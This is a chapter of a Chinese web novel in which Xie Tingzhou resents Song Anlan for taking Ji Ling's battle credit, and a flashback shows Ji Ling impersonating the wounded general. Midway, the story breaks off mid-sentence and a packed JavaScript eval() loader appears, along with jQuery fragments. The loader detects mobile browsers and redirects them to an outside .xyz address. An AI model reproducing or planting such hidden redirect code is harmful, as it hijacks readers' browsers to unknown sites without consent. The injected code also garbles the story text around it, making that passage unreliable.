23. 菩萨蛮 四

作品:《五陵年少

    他其实追问过姬泠很多次,为什么甘心留在宋安澜身边,用一张假的面孔,顶着不能为外人道的身份,给一个或许也算不得非常看重的朋友做事呢?


    姬泠每次听他这么说,都会惊异地睁大眼睛,哭笑不得地看着他:“你说什么啊,我学的落棋阁的本事,自然就该做落棋阁的人做的事。领兵打仗安澜比我更擅长,那自然就应该叫她做,我做好我能做的事不久可以了吗?”


    “至于朋友……”她说到这里,脸上终于显出一些落寞来,“其实安澜就算很好的朋友吧?我将她看得很重,但不应该要求她也像我对待她那样拥有在她心里同等重要的地位,不是吗?”


    那时她会看着谢停舟的眼睛,希望从他那里获得肯定的回答。谢停舟看着那漂亮的、杏核似的眼睛,明明知道那双眼睛的主人总是很擅长用各种无所谓的话语忽悠他,让他为她放心,却还是没忍住点了点头,低声说:“是。”


    说这话时他的喉咙口像塞了一团棉花一样,堵住了其他没有诉诸于口的话。


    其实姬泠说得很对,人不应该要求对方能回报自己同等澎湃热烈的感情,谢停舟也清楚这一点。


    但他还是忍不住想去要求。他每每看到姬泠为了宋安澜的事牵肠挂肚,他心里就忍不住嫉妒得发疯。


    姬泠得到了他肯定的答复,似乎也微微松了口气:“安澜她……”


    接下来的话谢停舟已经听过很多次了。姬泠会说宋安澜其实已经很好了,她心里也把自己当做了很重要的朋友,计划过以后一起找个山清水秀的地方归隐……总而言之就是说一堆宋安澜的好。


    他、她,还有宋安澜,明明他们在同一个学堂里长大,最后却因为道不同而分道扬镳。结果命运兜兜转转,最后让宋安澜和姬泠在同一处效力,他最终还是在时间上输给了这个其实称不上敌人的敌人。


    他深吸了一口气,反复安慰自己,阿泠已经与他有了婚约,等明年挑好良辰吉日就能完婚;阿泠和宋安澜之间只是知己之情,和他不一样……


    他已经用同样的理由安慰过自己很多次了。但记忆中的最后一次,这个理由没能安慰住他,让他冲口而出打断了姬泠的话:“不是的。”


    姬泠的话被打断,愣了一下,却也只是软下声来,好声好气道:“怎么啦?又不是了。”


    谢停舟几乎是咬牙切齿道:“宋安澜要是真把你当真心朋友,就不应该把你的军功揽在她身上,让你一个人背负吃闲饭的骂名。”


    他说到这里姬泠微微张了张嘴,似乎想要解释,却被谢停舟加重语气强硬地打断了:”我说的不是平时那些小事,我是说宋酿失踪后那一场,明明是你带的队埋伏,重伤了邓飞英,为什么最后功劳和声望还是落到了宋酿身上?她什么都没做,却平白得了功勋,哪有这么占便宜的事?”


    这话在他心里已经盘桓了许久,烂出了疮、淬出了毒,因而他说出后竟有些难言的畅快。可一时的畅快后他又有些后悔了——他这话几乎已经是明着挑拨离间了。


    他面上装得强硬,却是偷偷觑着姬泠的神色。可她却也并不像他以为的那样生气,神色有些动摇,嘴上还是在替宋安澜解释:“那次我也是没有办法……酿姐失踪,安澜又被流矢伤了。我在军中又没有什么好名声无法服众,这才借了安澜的身份……”


    “你为什么在军中没什么好名声?”谢停舟一针见血,“还不是因为平时你总是在干落棋阁的事,有什么意见也是背后给宋安澜,才导致所有人都以为你不务正业?说到底,宋安澜她要是真心为你好,为什么不把能说的你做的事说给外人听?”


    是的,外界广泛传闻的宋安澜的成名之战,其实不全是宋安澜的功劳。


    北周大军刚刚来犯时,她就定下了在学窝里埋伏的计划,但是还没等实施,她就在乱军中受了重伤。一道带着毒的流矢从背后穿过了她的肋骨,只要再歪两寸,她就没命了。


    即便如此,宋安澜还是陷入了极深的昏迷。当时就在她身边的姬泠立即封-锁了消息,以免引发军心动荡。镇北军的所有人都以为宋安澜只是受了轻伤,只要将养片刻,很快就能回到沙场。


    少数的几个知情-人都是姬泠自己在军中的心腹,连被叫来治伤的医师都是落棋阁自己的人。姬泠坐在宋安澜的床边,看着这一屋子等着自己发出指令的人,手心里全是冷汗。


    她幼时在父母的要求下习武,父母死后在皇帝的指点下入学习文,后来又被现在的师父点走学白棋,出师后还是在张首晟手下做事,偶尔按照宋安澜的要求帮忙提供信息。虽说名义上也算是一方信息网的头头,但实际上很少脱离比自己更有能力的、亦或是更有魄力的人的指挥。


    若论她干过的最叛逆的事情,只有一件因为长期处于顾岁寒的压制下在白棋里出不了头,顶着张首晟的劝阻转去了当时人才不算多的黑棋。但要细究这一行为背后最为本质的动机,那还是因为从小父母和她自己都对自己要求过于严苛,导致她完全不能接受自己总被顾岁寒压一头的事实。


    这是她第一次在完全没有他人帮助的情况下独立做出指挥。


    所有人都在等着她做出判断,战场上形势变化极快,镇北军显然不能在连失两位主帅的情况下行动。


    外面有人来找宋安澜,但又担心贸然进帐会打扰到她养伤,于是只在外面喊:“将军!您伤还好吗?要紧吗?”


    姬泠别无他法,只好学着宋安澜的声线,简短回道:“没事!让弟兄们不要担心!”


    那人听完,瞬间放下了心,大声应道:“是!”然后噔噔噔跑了。


    姬泠应完话,感到一阵难言的疲惫。她盯着宋安澜的脸,刚刚那句对答的话却如同一个一个小小的种子,在她心里忽然生长起来,随后


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15337177|165650||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    以不可思议的速度生长,直至参天。


    如果说,如果说……


    她学过白棋,虽然能力肯定不如顾岁寒,但瞒瞒军中这些对宋家人俯首帖耳的大老粗还是可以的。


    假如她扮作宋安澜,那是不是就能代替她应对北周?现下的危机是不是就能迎刃而解?


    她几乎是一下子跳了起来,向不明所以的手下人们说出了自己的计划。落棋阁的棋子们打入阁内就被培养出了唯上峰命是从的个性,更别提这群人本来就算得上她的半个心腹。


    没有人质疑她,她几乎是雀跃地完成了一系列易容。宋安澜比她高,不要紧,她可以踩一个底厚的靴子;宋安澜比她壮实,不要紧,她可以在甲胄里塞棉花,反正她只是去指挥又不是去暗杀,丧失一点灵活性也没问题。


    她就这样,像一个第一次穿上大人衣服的小孩一样兴奋地站到了铜镜前。镜子里的人似乎毫无破绽,一样的身形,一样的面容。除了亲眼看到她变装的手下们,没有人会知道这皮囊之下是个冒牌货。


    她踌躇满志地走向了帐门口,准备向整个镇北军宣布“自己”已然痊愈,却在伸手掀开帘子时硬生生顿住了。


    她意识到了那个可怕的漏洞,那个致命的陷阱——


    上万人的战场不是她在落棋阁里为之发愁的月考,她不像宋安澜自学堂出来后就在宋酿身边耳濡目染,她没有指挥战斗的经验。


    而她的失误不再有自己的上峰帮自己承担。她的失误会造成无数人白白丧命,还会顺手把她扮演的宋安澜也带进无边深渊。


    她承担得起吗?


    姬泠的前二十多年,一直生活在师长为她搭建的避风港中,来到青州落棋阁后的事也算是顺风顺水——因为她只需要承担简单的信息归拢工作,棋子的派遣、变动以及具体的指令都不需要她操心。张首晟好像一只巨大的蜘蛛,在整个南盛境内结出一张巨大的网,网上的棋子们只需要听从他的指挥做自己那份事,便能让落棋阁这个巨大的情报信息网安然地运行。


    跟在她背后的手下们看到她突然顿住,也不明所以地跟着停住了脚步。看她救救没有动作,有一人小心翼翼地喊她:“侍棋?”


    帐外的人在等宋安澜出马,稳定军心;帐内的人在等他们的直系上司给他们一个具体的指挥,好进行下一步的动作。


    两边的人都在眼巴巴地等着她。


    姬泠感觉脑子一热,一掀帘子,高声道:“众将士听令!”


    在外面等候依旧的人们乌泱泱地跪下,甲胄声响成一片。


    阳光映着铁甲,反射出一片粼粼的光。姬泠的手心里全是冷汗,强压住声音里的颤-抖:“北周大军,看似来势汹汹,实则盛久必衰,悍然之势不能持续,只要我军同心协力,必能度过眼下难关!”


    众人的士气被她这一番话鼓舞,纷纷应道:“是!”